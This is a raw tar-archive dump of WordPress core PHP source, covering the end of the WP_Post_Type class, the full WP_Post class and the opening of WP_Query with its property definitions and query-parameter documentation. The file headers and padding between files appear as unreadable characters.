loaded at `?{query_var}={post_slug}`. * If specified as a string, the query `?{query_var_string}={post_slug}` will be valid. * * @since 4.6.0 * @var string|bool $query_var */ public $query_var; /** * Whether to allow this post type to be exported. * * Default true. * * @since 4.6.0 * @var bool $can_export */ public $can_export = true; /** * Whether to delete posts of this type when deleting a user. * * - If true, posts of this type belonging to the user will be moved to Trash when the user is deleted. * - If false, posts of this type belonging to the user will *not* be trashed or deleted. * - If not set (the default), posts are trashed if post type supports the 'author' feature. * Otherwise posts are not trashed or deleted. * * Default null. * * @since 4.6.0 * @var bool $delete_with_user */ public $delete_with_user = null; /** * Array of blocks to use as the default initial state for an editor session. * * Each item should be an array containing block name and optional attributes. * * Default empty array. * * @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/ * * @since 5.0.0 * @var array $template */ public $template = array(); /** * Whether the block template should be locked if $template is set. * * - If set to 'all', the user is unable to insert new blocks, move existing blocks * and delete blocks. * - If set to 'insert', the user is able to move existing blocks but is unable to insert * new blocks and delete blocks. * * Default false. * * @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/ * * @since 5.0.0 * @var string|false $template_lock */ public $template_lock = false; /** * Whether this post type is a native or "built-in" post_type. * * Default false. * * @since 4.6.0 * @var bool $_builtin */ public $_builtin = false; /** * URL segment to use for edit link of this post type. * * Default 'post.php?post=%d'. * * @since 4.6.0 * @var string $_edit_link */ public $_edit_link = 'post.php?post=%d'; /** * Post type capabilities. * * @since 4.6.0 * @var stdClass $cap */ public $cap; /** * Triggers the handling of rewrites for this post type. * * Defaults to true, using $post_type as slug. * * @since 4.6.0 * @var array|false $rewrite */ public $rewrite; /** * The features supported by the post type. * * @since 4.6.0 * @var array|bool $supports */ public $supports; /** * Whether this post type should appear in the REST API. * * Default false. If true, standard endpoints will be registered with * respect to $rest_base and $rest_controller_class. * * @since 4.7.4 * @var bool $show_in_rest */ public $show_in_rest; /** * The base path for this post type's REST API endpoints. * * @since 4.7.4 * @var string|bool $rest_base */ public $rest_base; /** * The controller for this post type's REST API endpoints. * * Custom controllers must extend WP_REST_Controller. * * @since 4.7.4 * @var string|bool $rest_controller_class */ public $rest_controller_class; /** * The controller instance for this post type's REST API endpoints. * * Lazily computed. Should be accessed using {@see WP_Post_Type::get_rest_controller()}. * * @since 5.3.0 * @var WP_REST_Controller $rest_controller */ public $rest_controller; /** * Constructor. * * See the register_post_type() function for accepted arguments for `$args`. * * Will populate object properties from the provided arguments and assign other * default properties based on that information. * * @since 4.6.0 * * @see register_post_type() * * @param string $post_type Post type key. * @param array|string $args Optional. Array or string of arguments for registering a post type. * Default empty array. */ public function __construct( $post_type, $args = array() ) { $this->name = $post_type; $this->set_props( $args ); } /** * Sets post type properties. * * See the register_post_type() function for accepted arguments for `$args`. * * @since 4.6.0 * * @param array|string $args Array or string of arguments for registering a post type. */ public function set_props( $args ) { $args = wp_parse_args( $args ); /** * Filters the arguments for registering a post type. * * @since 4.4.0 * * @param array $args Array of arguments for registering a post type. * See the register_post_type() function for accepted arguments. * @param string $post_type Post type key. */ $args = apply_filters( 'register_post_type_args', $args, $this->name ); $has_edit_link = ! empty( $args['_edit_link'] ); // Args prefixed with an underscore are reserved for internal use. $defaults = array( 'labels' => array(), 'description' => '', 'public' => false, 'hierarchical' => false, 'exclude_from_search' => null, 'publicly_queryable' => null, 'show_ui' => null, 'show_in_menu' => null, 'show_in_nav_menus' => null, 'show_in_admin_bar' => null, 'menu_position' => null, 'menu_icon' => null, 'capability_type' => 'post', 'capabilities' => array(), 'map_meta_cap' => null, 'supports' => array(), 'register_meta_box_cb' => null, 'taxonomies' => array(), 'has_archive' => false, 'rewrite' => true, 'query_var' => true, 'can_export' => true, 'delete_with_user' => null, 'show_in_rest' => false, 'rest_base' => false, 'rest_controller_class' => false, 'template' => array(), 'template_lock' => false, '_builtin' => false, '_edit_link' => 'post.php?post=%d', ); $args = array_merge( $defaults, $args ); $args['name'] = $this->name; // If not set, default to the setting for 'public'. if ( null === $args['publicly_queryable'] ) { $args['publicly_queryable'] = $args['public']; } // If not set, default to the setting for 'public'. if ( null === $args['show_ui'] ) { $args['show_ui'] = $args['public']; } // If not set, default to the setting for 'show_ui'. if ( null === $args['show_in_menu'] || ! $args['show_ui'] ) { $args['show_in_menu'] = $args['show_ui']; } // If not set, default to the setting for 'show_in_menu'. if ( null === $args['show_in_admin_bar'] ) { $args['show_in_admin_bar'] = (bool) $args['show_in_menu']; } // If not set, default to the setting for 'public'. if ( null === $args['show_in_nav_menus'] ) { $args['show_in_nav_menus'] = $args['public']; } // If not set, default to true if not public, false if public. if ( null === $args['exclude_from_search'] ) { $args['exclude_from_search'] = ! $args['public']; } // Back compat with quirky handling in version 3.0. #14122. if ( empty( $args['capabilities'] ) && null === $args['map_meta_cap'] && in_array( $args['capability_type'], array( 'post', 'page' ), true ) ) { $args['map_meta_cap'] = true; } // If not set, default to false. if ( null === $args['map_meta_cap'] ) { $args['map_meta_cap'] = false; } // If there's no specified edit link and no UI, remove the edit link. if ( ! $args['show_ui'] && ! $has_edit_link ) { $args['_edit_link'] = ''; } $this->cap = get_post_type_capabilities( (object) $args ); unset( $args['capabilities'] ); if ( is_array( $args['capability_type'] ) ) { $args['capability_type'] = $args['capability_type'][0]; } if ( false !== $args['query_var'] ) { if ( true === $args['query_var'] ) { $args['query_var'] = $this->name; } else { $args['query_var'] = sanitize_title_with_dashes( $args['query_var'] ); } } if ( false !== $args['rewrite'] && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( ! is_array( $args['rewrite'] ) ) { $args['rewrite'] = array(); } if ( empty( $args['rewrite']['slug'] ) ) { $args['rewrite']['slug'] = $this->name; } if ( ! isset( $args['rewrite']['with_front'] ) ) { $args['rewrite']['with_front'] = true; } if ( ! isset( $args['rewrite']['pages'] ) ) { $args['rewrite']['pages'] = true; } if ( ! isset( $args['rewrite']['feeds'] ) || ! $args['has_archive'] ) { $args['rewrite']['feeds'] = (bool) $args['has_archive']; } if ( ! isset( $args['rewrite']['ep_mask'] ) ) { if ( isset( $args['permalink_epmask'] ) ) { $args['rewrite']['ep_mask'] = $args['permalink_epmask']; } else { $args['rewrite']['ep_mask'] = EP_PERMALINK; } } } foreach ( $args as $property_name => $property_value ) { $this->$property_name = $property_value; } $this->labels = get_post_type_labels( $this ); $this->label = $this->labels->name; } /** * Sets the features support for the post type. * * @since 4.6.0 */ public function add_supports() { if ( ! empty( $this->supports ) ) { foreach ( $this->supports as $feature => $args ) { if ( is_array( $args ) ) { add_post_type_support( $this->name, $feature, $args ); } else { add_post_type_support( $this->name, $args ); } } unset( $this->supports ); } elseif ( false !== $this->supports ) { // Add default features. add_post_type_support( $this->name, array( 'title', 'editor' ) ); } } /** * Adds the necessary rewrite rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. */ public function add_rewrite_rules() { global $wp_rewrite, $wp; if ( false !== $this->query_var && $wp && is_post_type_viewable( $this ) ) { $wp->add_query_var( $this->query_var ); } if ( false !== $this->rewrite && ( is_admin() || get_option( 'permalink_structure' ) ) ) { if ( $this->hierarchical ) { add_rewrite_tag( "%$this->name%", '(.+?)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&pagename=" ); } else { add_rewrite_tag( "%$this->name%", '([^/]+)', $this->query_var ? "{$this->query_var}=" : "post_type=$this->name&name=" ); } if ( $this->has_archive ) { $archive_slug = true === $this->has_archive ? $this->rewrite['slug'] : $this->has_archive; if ( $this->rewrite['with_front'] ) { $archive_slug = substr( $wp_rewrite->front, 1 ) . $archive_slug; } else { $archive_slug = $wp_rewrite->root . $archive_slug; } add_rewrite_rule( "{$archive_slug}/?$", "index.php?post_type=$this->name", 'top' ); if ( $this->rewrite['feeds'] && $wp_rewrite->feeds ) { $feeds = '(' . trim( implode( '|', $wp_rewrite->feeds ) ) . ')'; add_rewrite_rule( "{$archive_slug}/feed/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); add_rewrite_rule( "{$archive_slug}/$feeds/?$", "index.php?post_type=$this->name" . '&feed=$matches[1]', 'top' ); } if ( $this->rewrite['pages'] ) { add_rewrite_rule( "{$archive_slug}/{$wp_rewrite->pagination_base}/([0-9]{1,})/?$", "index.php?post_type=$this->name" . '&paged=$matches[1]', 'top' ); } } $permastruct_args = $this->rewrite; $permastruct_args['feed'] = $permastruct_args['feeds']; add_permastruct( $this->name, "{$this->rewrite['slug']}/%$this->name%", $permastruct_args ); } } /** * Registers the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function register_meta_boxes() { if ( $this->register_meta_box_cb ) { add_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10, 1 ); } } /** * Adds the future post hook action for the post type. * * @since 4.6.0 */ public function add_hooks() { add_action( 'future_' . $this->name, '_future_post_hook', 5, 2 ); } /** * Registers the taxonomies for the post type. * * @since 4.6.0 */ public function register_taxonomies() { foreach ( $this->taxonomies as $taxonomy ) { register_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the features support for the post type. * * @since 4.6.0 * * @global array $_wp_post_type_features Post type features. */ public function remove_supports() { global $_wp_post_type_features; unset( $_wp_post_type_features[ $this->name ] ); } /** * Removes any rewrite rules, permastructs, and rules for the post type. * * @since 4.6.0 * * @global WP_Rewrite $wp_rewrite WordPress rewrite component. * @global WP $wp Current WordPress environment instance. * @global array $post_type_meta_caps Used to remove meta capabilities. */ public function remove_rewrite_rules() { global $wp, $wp_rewrite, $post_type_meta_caps; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove any rewrite rules, permastructs, and rules. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); foreach ( $wp_rewrite->extra_rules_top as $regex => $query ) { if ( false !== strpos( $query, "index.php?post_type=$this->name" ) ) { unset( $wp_rewrite->extra_rules_top[ $regex ] ); } } } // Remove registered custom meta capabilities. foreach ( $this->cap as $cap ) { unset( $post_type_meta_caps[ $cap ] ); } } /** * Unregisters the post type meta box if a custom callback was specified. * * @since 4.6.0 */ public function unregister_meta_boxes() { if ( $this->register_meta_box_cb ) { remove_action( 'add_meta_boxes_' . $this->name, $this->register_meta_box_cb, 10 ); } } /** * Removes the post type from all taxonomies. * * @since 4.6.0 */ public function unregister_taxonomies() { foreach ( get_object_taxonomies( $this->name ) as $taxonomy ) { unregister_taxonomy_for_object_type( $taxonomy, $this->name ); } } /** * Removes the future post hook action for the post type. * * @since 4.6.0 */ public function remove_hooks() { remove_action( 'future_' . $this->name, '_future_post_hook', 5 ); } /** * Gets the REST API controller for this post type. * * Will only instantiate the controller class once per request. * * @since 5.3.0 * * @return WP_REST_Controller|null The controller instance, or null if the post type * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Posts_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-post.php�����������������������������������������������������������������������������������0000644�����������������00000014427�15120262030�0007770 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Post API: WP_Post class * * @package WordPress * @subpackage Post * @since 4.4.0 */ /** * Core class used to implement the WP_Post object. * * @since 3.5.0 * * @property string $page_template * * @property-read int[] $ancestors * @property-read int $post_category * @property-read string $tag_input */ final class WP_Post { /** * Post ID. * * @since 3.5.0 * @var int */ public $ID; /** * ID of post author. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $post_author = 0; /** * The post's local publication time. * * @since 3.5.0 * @var string */ public $post_date = '0000-00-00 00:00:00'; /** * The post's GMT publication time. * * @since 3.5.0 * @var string */ public $post_date_gmt = '0000-00-00 00:00:00'; /** * The post's content. * * @since 3.5.0 * @var string */ public $post_content = ''; /** * The post's title. * * @since 3.5.0 * @var string */ public $post_title = ''; /** * The post's excerpt. * * @since 3.5.0 * @var string */ public $post_excerpt = ''; /** * The post's status. * * @since 3.5.0 * @var string */ public $post_status = 'publish'; /** * Whether comments are allowed. * * @since 3.5.0 * @var string */ public $comment_status = 'open'; /** * Whether pings are allowed. * * @since 3.5.0 * @var string */ public $ping_status = 'open'; /** * The post's password in plain text. * * @since 3.5.0 * @var string */ public $post_password = ''; /** * The post's slug. * * @since 3.5.0 * @var string */ public $post_name = ''; /** * URLs queued to be pinged. * * @since 3.5.0 * @var string */ public $to_ping = ''; /** * URLs that have been pinged. * * @since 3.5.0 * @var string */ public $pinged = ''; /** * The post's local modified time. * * @since 3.5.0 * @var string */ public $post_modified = '0000-00-00 00:00:00'; /** * The post's GMT modified time. * * @since 3.5.0 * @var string */ public $post_modified_gmt = '0000-00-00 00:00:00'; /** * A utility DB field for post content. * * @since 3.5.0 * @var string */ public $post_content_filtered = ''; /** * ID of a post's parent post. * * @since 3.5.0 * @var int */ public $post_parent = 0; /** * The unique identifier for a post, not necessarily a URL, used as the feed GUID. * * @since 3.5.0 * @var string */ public $guid = ''; /** * A field used for ordering posts. * * @since 3.5.0 * @var int */ public $menu_order = 0; /** * The post's type, like post or page. * * @since 3.5.0 * @var string */ public $post_type = 'post'; /** * An attachment's mime type. * * @since 3.5.0 * @var string */ public $post_mime_type = ''; /** * Cached comment count. * * A numeric string, for compatibility reasons. * * @since 3.5.0 * @var string */ public $comment_count = 0; /** * Stores the post object's sanitization level. * * Does not correspond to a DB field. * * @since 3.5.0 * @var string */ public $filter; /** * Retrieve WP_Post instance. * * @since 3.5.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $post_id Post ID. * @return WP_Post|false Post object, false otherwise. */ public static function get_instance( $post_id ) { global $wpdb; $post_id = (int) $post_id; if ( ! $post_id ) { return false; } $_post = wp_cache_get( $post_id, 'posts' ); if ( ! $_post ) { $_post = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post_id ) ); if ( ! $_post ) { return false; } $_post = sanitize_post( $_post, 'raw' ); wp_cache_add( $_post->ID, $_post, 'posts' ); } elseif ( empty( $_post->filter ) ) { $_post = sanitize_post( $_post, 'raw' ); } return new WP_Post( $_post ); } /** * Constructor. * * @since 3.5.0 * * @param WP_Post|object $post Post object. */ public function __construct( $post ) { foreach ( get_object_vars( $post ) as $key => $value ) { $this->$key = $value; } } /** * Isset-er. * * @since 3.5.0 * * @param string $key Property to check if set. * @return bool */ public function __isset( $key ) { if ( 'ancestors' === $key ) { return true; } if ( 'page_template' === $key ) { return true; } if ( 'post_category' === $key ) { return true; } if ( 'tags_input' === $key ) { return true; } return metadata_exists( 'post', $this->ID, $key ); } /** * Getter. * * @since 3.5.0 * * @param string $key Key to get. * @return mixed */ public function __get( $key ) { if ( 'page_template' === $key && $this->__isset( $key ) ) { return get_post_meta( $this->ID, '_wp_page_template', true ); } if ( 'post_category' === $key ) { if ( is_object_in_taxonomy( $this->post_type, 'category' ) ) { $terms = get_the_terms( $this, 'category' ); } if ( empty( $terms ) ) { return array(); } return wp_list_pluck( $terms, 'term_id' ); } if ( 'tags_input' === $key ) { if ( is_object_in_taxonomy( $this->post_type, 'post_tag' ) ) { $terms = get_the_terms( $this, 'post_tag' ); } if ( empty( $terms ) ) { return array(); } return wp_list_pluck( $terms, 'name' ); } // Rest of the values need filtering. if ( 'ancestors' === $key ) { $value = get_post_ancestors( $this ); } else { $value = get_post_meta( $this->ID, $key, true ); } if ( $this->filter ) { $value = sanitize_post_field( $key, $value, $this->ID, $this->filter ); } return $value; } /** * {@Missing Summary} * * @since 3.5.0 * * @param string $filter Filter. * @return WP_Post */ public function filter( $filter ) { if ( $this->filter === $filter ) { return $this; } if ( 'raw' === $filter ) { return self::get_instance( $this->ID ); } return sanitize_post( $this, $filter ); } /** * Convert object to array. * * @since 3.5.0 * * @return array Object as array. */ public function to_array() { $post = get_object_vars( $this ); foreach ( array( 'ancestors', 'page_template', 'post_category', 'tags_input' ) as $key ) { if ( $this->__isset( $key ) ) { $post[ $key ] = $this->__get( $key ); } } return $post; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-query.php����������������������������������������������������������������������������������0000644�����������������00000407233�15120262030�0010151 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Query API: WP_Query class * * @package WordPress * @subpackage Query * @since 4.7.0 */ /** * The WordPress Query class. * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @since 1.5.0 * @since 4.5.0 Removed the `$comments_popup` property. */ class WP_Query { /** * Query vars set by the user * * @since 1.5.0 * @var array */ public $query; /** * Query vars, after parsing * * @since 1.5.0 * @var array */ public $query_vars = array(); /** * Taxonomy query, as passed to get_tax_sql() * * @since 3.1.0 * @var WP_Tax_Query A taxonomy query instance. */ public $tax_query; /** * Metadata query container * * @since 3.2.0 * @var WP_Meta_Query A meta query instance. */ public $meta_query = false; /** * Date query container * * @since 3.7.0 * @var WP_Date_Query A date query instance. */ public $date_query = false; /** * Holds the data for a single object that is queried. * * Holds the contents of a post, page, category, attachment. * * @since 1.5.0 * @var WP_Term|WP_Post_Type|WP_Post|WP_User|null */ public $queried_object; /** * The ID of the queried object. * * @since 1.5.0 * @var int */ public $queried_object_id; /** * SQL for the database query. * * @since 2.0.1 * @var string */ public $request; /** * Array of post objects or post IDs. * * @since 1.5.0 * @var WP_Post[]|int[] */ public $posts; /** * The amount of posts for the current query. * * @since 1.5.0 * @var int */ public $post_count = 0; /** * Index of the current item in the loop. * * @since 1.5.0 * @var int */ public $current_post = -1; /** * Whether the loop has started and the caller is in the loop. * * @since 2.0.0 * @var bool */ public $in_the_loop = false; /** * The current post. * * This property does not get populated when the `fields` argument is set to * `ids` or `id=>parent`. * * @since 1.5.0 * @var WP_Post|null */ public $post; /** * The list of comments for current post. * * @since 2.2.0 * @var WP_Comment[] */ public $comments; /** * The amount of comments for the posts. * * @since 2.2.0 * @var int */ public $comment_count = 0; /** * The index of the comment in the comment loop. * * @since 2.2.0 * @var int */ public $current_comment = -1; /** * Current comment object. * * @since 2.2.0 * @var WP_Comment */ public $comment; /** * The amount of found posts for the current query. * * If limit clause was not used, equals $post_count. * * @since 2.1.0 * @var int */ public $found_posts = 0; /** * The amount of pages. * * @since 2.1.0 * @var int */ public $max_num_pages = 0; /** * The amount of comment pages. * * @since 2.7.0 * @var int */ public $max_num_comment_pages = 0; /** * Signifies whether the current query is for a single post. * * @since 1.5.0 * @var bool */ public $is_single = false; /** * Signifies whether the current query is for a preview. * * @since 2.0.0 * @var bool */ public $is_preview = false; /** * Signifies whether the current query is for a page. * * @since 1.5.0 * @var bool */ public $is_page = false; /** * Signifies whether the current query is for an archive. * * @since 1.5.0 * @var bool */ public $is_archive = false; /** * Signifies whether the current query is for a date archive. * * @since 1.5.0 * @var bool */ public $is_date = false; /** * Signifies whether the current query is for a year archive. * * @since 1.5.0 * @var bool */ public $is_year = false; /** * Signifies whether the current query is for a month archive. * * @since 1.5.0 * @var bool */ public $is_month = false; /** * Signifies whether the current query is for a day archive. * * @since 1.5.0 * @var bool */ public $is_day = false; /** * Signifies whether the current query is for a specific time. * * @since 1.5.0 * @var bool */ public $is_time = false; /** * Signifies whether the current query is for an author archive. * * @since 1.5.0 * @var bool */ public $is_author = false; /** * Signifies whether the current query is for a category archive. * * @since 1.5.0 * @var bool */ public $is_category = false; /** * Signifies whether the current query is for a tag archive. * * @since 2.3.0 * @var bool */ public $is_tag = false; /** * Signifies whether the current query is for a taxonomy archive. * * @since 2.5.0 * @var bool */ public $is_tax = false; /** * Signifies whether the current query is for a search. * * @since 1.5.0 * @var bool */ public $is_search = false; /** * Signifies whether the current query is for a feed. * * @since 1.5.0 * @var bool */ public $is_feed = false; /** * Signifies whether the current query is for a comment feed. * * @since 2.2.0 * @var bool */ public $is_comment_feed = false; /** * Signifies whether the current query is for trackback endpoint call. * * @since 1.5.0 * @var bool */ public $is_trackback = false; /** * Signifies whether the current query is for the site homepage. * * @since 1.5.0 * @var bool */ public $is_home = false; /** * Signifies whether the current query is for the Privacy Policy page. * * @since 5.2.0 * @var bool */ public $is_privacy_policy = false; /** * Signifies whether the current query couldn't find anything. * * @since 1.5.0 * @var bool */ public $is_404 = false; /** * Signifies whether the current query is for an embed. * * @since 4.4.0 * @var bool */ public $is_embed = false; /** * Signifies whether the current query is for a paged result and not for the first page. * * @since 1.5.0 * @var bool */ public $is_paged = false; /** * Signifies whether the current query is for an administrative interface page. * * @since 1.5.0 * @var bool */ public $is_admin = false; /** * Signifies whether the current query is for an attachment page. * * @since 2.0.0 * @var bool */ public $is_attachment = false; /** * Signifies whether the current query is for an existing single post of any post type * (post, attachment, page, custom post types). * * @since 2.1.0 * @var bool */ public $is_singular = false; /** * Signifies whether the current query is for the robots.txt file. * * @since 2.1.0 * @var bool */ public $is_robots = false; /** * Signifies whether the current query is for the favicon.ico file. * * @since 5.4.0 * @var bool */ public $is_favicon = false; /** * Signifies whether the current query is for the page_for_posts page. * * Basically, the homepage if the option isn't set for the static homepage. * * @since 2.1.0 * @var bool */ public $is_posts_page = false; /** * Signifies whether the current query is for a post type archive. * * @since 3.1.0 * @var bool */ public $is_post_type_archive = false; /** * Stores the ->query_vars state like md5(serialize( $this->query_vars ) ) so we know * whether we have to re-parse because something has changed * * @since 3.1.0 * @var bool|string */ private $query_vars_hash = false; /** * Whether query vars have changed since the initial parse_query() call. Used to catch modifications to query vars made * via pre_get_posts hooks. * * @since 3.1.1 */ private $query_vars_changed = true; /** * Set if post thumbnails are cached * * @since 3.2.0 * @var bool */ public $thumbnails_cached = false; /** * Cached list of search stopwords. * * @since 3.7.0 * @var array */ private $stopwords; private $compat_fields = array( 'query_vars_hash', 'query_vars_changed' ); private $compat_methods = array( 'init_query_flags', 'parse_tax_query' ); /** * Resets query flags to false. * * The query flags are what page info WordPress was able to figure out. * * @since 2.0.0 */ private function init_query_flags() { $this->is_single = false; $this->is_preview = false; $this->is_page = false; $this->is_archive = false; $this->is_date = false; $this->is_year = false; $this->is_month = false; $this->is_day = false; $this->is_time = false; $this->is_author = false; $this->is_category = false; $this->is_tag = false; $this->is_tax = false; $this->is_search = false; $this->is_feed = false; $this->is_comment_feed = false; $this->is_trackback = false; $this->is_home = false; $this->is_privacy_policy = false; $this->is_404 = false; $this->is_paged = false; $this->is_admin = false; $this->is_attachment = false; $this->is_singular = false; $this->is_robots = false; $this->is_favicon = false; $this->is_posts_page = false; $this->is_post_type_archive = false; } /** * Initiates object properties and sets default values. * * @since 1.5.0 */ public function init() { unset( $this->posts ); unset( $this->query ); $this->query_vars = array(); unset( $this->queried_object ); unset( $this->queried_object_id ); $this->post_count = 0; $this->current_post = -1; $this->in_the_loop = false; unset( $this->request ); unset( $this->post ); unset( $this->comments ); unset( $this->comment ); $this->comment_count = 0; $this->current_comment = -1; $this->found_posts = 0; $this->max_num_pages = 0; $this->max_num_comment_pages = 0; $this->init_query_flags(); } /** * Reparse the query vars. * * @since 1.5.0 */ public function parse_query_vars() { $this->parse_query(); } /** * Fills in the query variables, which do not exist within the parameter. * * @since 2.1.0 * @since 4.5.0 Removed the `comments_popup` public query variable. * * @param array $array Defined query variables. * @return array Complete query variables with undefined ones filled in empty. */ public function fill_query_vars( $array ) { $keys = array( 'error', 'm', 'p', 'post_parent', 'subpost', 'subpost_id', 'attachment', 'attachment_id', 'name', 'pagename', 'page_id', 'second', 'minute', 'hour', 'day', 'monthnum', 'year', 'w', 'category_name', 'tag', 'cat', 'tag_id', 'author', 'author_name', 'feed', 'tb', 'paged', 'meta_key', 'meta_value', 'preview', 's', 'sentence', 'title', 'fields', 'menu_order', 'embed', ); foreach ( $keys as $key ) { if ( ! isset( $array[ $key ] ) ) { $array[ $key ] = ''; } } $array_keys = array( 'category__in', 'category__not_in', 'category__and', 'post__in', 'post__not_in', 'post_name__in', 'tag__in', 'tag__not_in', 'tag__and', 'tag_slug__in', 'tag_slug__and', 'post_parent__in', 'post_parent__not_in', 'author__in', 'author__not_in', ); foreach ( $array_keys as $key ) { if ( ! isset( $array[ $key ] ) ) { $array[ $key ] = array(); } } return $array; } /** * Parse a query string and set query type booleans. * * @since 1.5.0 * @since 4.2.0 Introduced the ability to order by specific clauses of a `$meta_query`, by passing the clause's * array key to `$orderby`. * @since 4.4.0 Introduced `$post_name__in` and `$title` parameters. `$s` was updated to support excluded * search terms, by prepending a hyphen. * @since 4.5.0 Removed the `$comments_popup` parameter. * Introduced the `$comment_status` and `$ping_status` parameters. * Introduced `RAND(x)` syntax for `$orderby`, which allows an integer seed value to random sorts. * @since 4.6.0 Added 'post_name__in' support for `$orderby`. Introduced the `$lazy_load_term_meta` argument. * @since 4.9.0 Introduced the `$comment_count` parameter. * @since 5.1.0 Introduced the `$meta_compare_key` parameter. * @since 5.3.0 Introduced the `$meta_type_key` parameter. * * @param string|array $query { * Optional. Array or string of Query parameters. * * @type int $attachment_id Attachment post ID. Used for 'attachment' post_type. * @type int|string $author Author ID, or comma-separated list of IDs. * @type string $author_name User 'user_nicename'. * @type int[] $author__in An array of author IDs to query from. * @type int[] $author__not_in An array of author IDs not to query from. * @type bool $cache_results Whether to cache post information. Default true. * @type int|string $cat Category ID or comma-separated list of IDs (this or any children). * @type int[] $category__and An array of category IDs (AND in). * @type int[] $category__in An array of category IDs (OR in, no children). * @type int[] $category__not_in An array of category IDs (NOT in). * @type string $category_name Use category slug (not name, this or any children). * @type array|int $comment_count Filter results by comment count. Provide an integer to match * comment count exactly. Provide an array with integer 'value' * and 'compare' operator ('=', '!=', '>', '>=', '<', '<=' ) to * compare against comment_count in a specific way. * @type string $comment_status Comment status. * @type int $comments_per_page The number of comments to return per page. * Default 'comments_per_page' option. * @type array $date_query An associative array of WP_Date_Query arguments. * See WP_Date_Query::__construct(). * @type int $day Day of the month. Default empty. Accepts numbers 1-31. * @type bool $exact Whether to search by exact keyword. Default false. * @type string $fields Post fields to query for. Accepts: * - '' Returns an array of complete post objects (`WP_Post[]`). * - 'ids' Returns an array of post IDs (`int[]`). * - 'id=>parent' Returns an associative array of parent post IDs, * keyed by post ID (`int[]`). * Default ''. * @type int $hour Hour of the day. Default empty. Accepts numbers 0-23. * @type int|bool $ignore_sticky_posts Whether to ignore sticky posts or not. Setting this to false * excludes stickies from 'post__in'. Accepts 1|true, 0|false. * Default false. * @type int $m Combination YearMonth. Accepts any four-digit year and month * numbers 1-12. Default empty. * @type string $meta_compare Comparison operator to test the 'meta_value'. * @type string $meta_compare_key Comparison operator to test the 'meta_key'. * @type string $meta_key Custom field key. * @type array $meta_query An associative array of WP_Meta_Query arguments. See WP_Meta_Query. * @type string $meta_value Custom field value. * @type int $meta_value_num Custom field value number. * @type string $meta_type_key Cast for 'meta_key'. See WP_Meta_Query::construct(). * @type int $menu_order The menu order of the posts. * @type int $monthnum The two-digit month. Default empty. Accepts numbers 1-12. * @type string $name Post slug. * @type bool $nopaging Show all posts (true) or paginate (false). Default false. * @type bool $no_found_rows Whether to skip counting the total rows found. Enabling can improve * performance. Default false. * @type int $offset The number of posts to offset before retrieval. * @type string $order Designates ascending or descending order of posts. Default 'DESC'. * Accepts 'ASC', 'DESC'. * @type string|array $orderby Sort retrieved posts by parameter. One or more options may be * passed. To use 'meta_value', or 'meta_value_num', * 'meta_key=keyname' must be also be defined. To sort by a * specific `$meta_query` clause, use that clause's array key. * Accepts 'none', 'name', 'author', 'date', 'title', * 'modified', 'menu_order', 'parent', 'ID', 'rand', * 'relevance', 'RAND(x)' (where 'x' is an integer seed value), * 'comment_count', 'meta_value', 'meta_value_num', 'post__in', * 'post_name__in', 'post_parent__in', and the array keys * of `$meta_query`. Default is 'date', except when a search * is being performed, when the default is 'relevance'. * @type int $p Post ID. * @type int $page Show the number of posts that would show up on page X of a * static front page. * @type int $paged The number of the current page. * @type int $page_id Page ID. * @type string $pagename Page slug. * @type string $perm Show posts if user has the appropriate capability. * @type string $ping_status Ping status. * @type int[] $post__in An array of post IDs to retrieve, sticky posts will be included. * @type int[] $post__not_in An array of post IDs not to retrieve. Note: a string of comma- * separated IDs will NOT work. * @type string $post_mime_type The mime type of the post. Used for 'attachment' post_type. * @type string[] $post_name__in An array of post slugs that results must match. * @type int $post_parent Page ID to retrieve child pages for. Use 0 to only retrieve * top-level pages. * @type int[] $post_parent__in An array containing parent page IDs to query child pages from. * @type int[] $post_parent__not_in An array containing parent page IDs not to query child pages from. * @type string|array $post_type A post type slug (string) or array of post type slugs. * Default 'any' if using 'tax_query'. * @type string|array $post_status A post status (string) or array of post statuses. * @type int $posts_per_page The number of posts to query for. Use -1 to request all posts. * @type int $posts_per_archive_page The number of posts to query for by archive page. Overrides * 'posts_per_page' when is_archive(), or is_search() are true. * @type string $s Search keyword(s). Prepending a term with a hyphen will * exclude posts matching that term. Eg, 'pillow -sofa' will * return posts containing 'pillow' but not 'sofa'. The * character used for exclusion can be modified using the * the 'wp_query_search_exclusion_prefix' filter. * @type int $second Second of the minute. Default empty. Accepts numbers 0-60. * @type bool $sentence Whether to search by phrase. Default false. * @type bool $suppress_filters Whether to suppress filters. Default false. * @type string $tag Tag slug. Comma-separated (either), Plus-separated (all). * @type int[] $tag__and An array of tag IDs (AND in). * @type int[] $tag__in An array of tag IDs (OR in). * @type int[] $tag__not_in An array of tag IDs (NOT in). * @type int $tag_id Tag id 